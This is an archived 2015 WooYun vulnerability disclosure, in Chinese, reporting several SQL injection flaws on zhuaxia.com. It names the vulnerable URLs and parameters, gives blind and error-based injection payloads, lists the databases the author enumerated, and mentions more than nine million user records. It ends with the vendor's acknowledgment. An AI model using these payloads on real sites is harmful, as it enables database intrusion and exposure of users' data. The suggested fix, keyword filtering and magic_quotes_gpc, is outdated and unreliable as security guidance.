当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0120284

漏洞标题:抓虾网主站多枚sql注入(涉及重要数据库大量信息)

相关厂商:zhuaxia.com

漏洞作者: 大懒

提交时间:2015-06-13 20:24

修复时间:2015-07-30 11:32

公开时间:2015-07-30 11:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-13: 细节已通知厂商并且等待厂商处理中
2015-06-15: 厂商已经确认,细节仅向厂商公开
2015-06-25: 细节向核心白帽子及相关领域专家公开
2015-07-05: 细节向普通白帽子公开
2015-07-15: 细节向实习白帽子公开
2015-07-30: 细节向公众公开

简要描述:

抓虾网主站多枚sql注入

详细说明:

第一枚:URL:http://www.zhuaxia.com/php_controller/myFeedController.php?action=channelInfo&chid=833&customerId=29034823&lastid=0&show_all_item=1&sourceid=0&stamp=0.09998915647156537&version=200812241245
存在问题参数:chid
payload::1.布尔盲注 AND 1=1 、AND 1=2
2.时间盲注 AND sleep(XX)
这里是字符型注入
第二枚:
URL:http://www.zhuaxia.com/register_check.php?logId=165
POST参数:blog_url=1&code=94102&do_reg=1&email=test%40email.com&ivc=ARkGQlYUBxw%3d&nickname=1&password=g00dPa%24%24w0rD&password_second=g00dPa%24%24w0rD
存在问题参数是email
报错注入
payload:' and select XXX from (select concat(xx) from ionfromation.XX ) and 'a'='a
这里首先应该关闭显错。
available databases [10]:
[*] dba
[*] information_schema
[*] mysql
[*] percona
[*] performance_schema
[*] test
[*] tudui
[*] wordpress
[*] wordpress_mu
[*] XiaoNei
这里的tudui是一个重要的数据库含有大量的表
然后跑其中前五个的数据如下图:

1.jpg


这是一个用户信息的表,仅截取字段的图举例,后面是数据未截图出来。
然后看了一下XiaoNei这个库

2.jpg


可以看到用户信息有915万多
具体到数据举例前五

3.jpg


漏洞证明:

如上

修复方案:

字符型的话过滤特殊符号例如空格,逗号,括号及其他与业务不相关的符号
然后是关键字及函数的过滤 如 and or || && user() @@user等
如果字符型的话可以首先对php设置 开启magic_quotes_gpc
然后过滤关键字及函数等等

版权声明:转载请注明来源 大懒@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-06-15 11:31

厂商回复:

感谢,立刻组织修复

最新状态:

暂无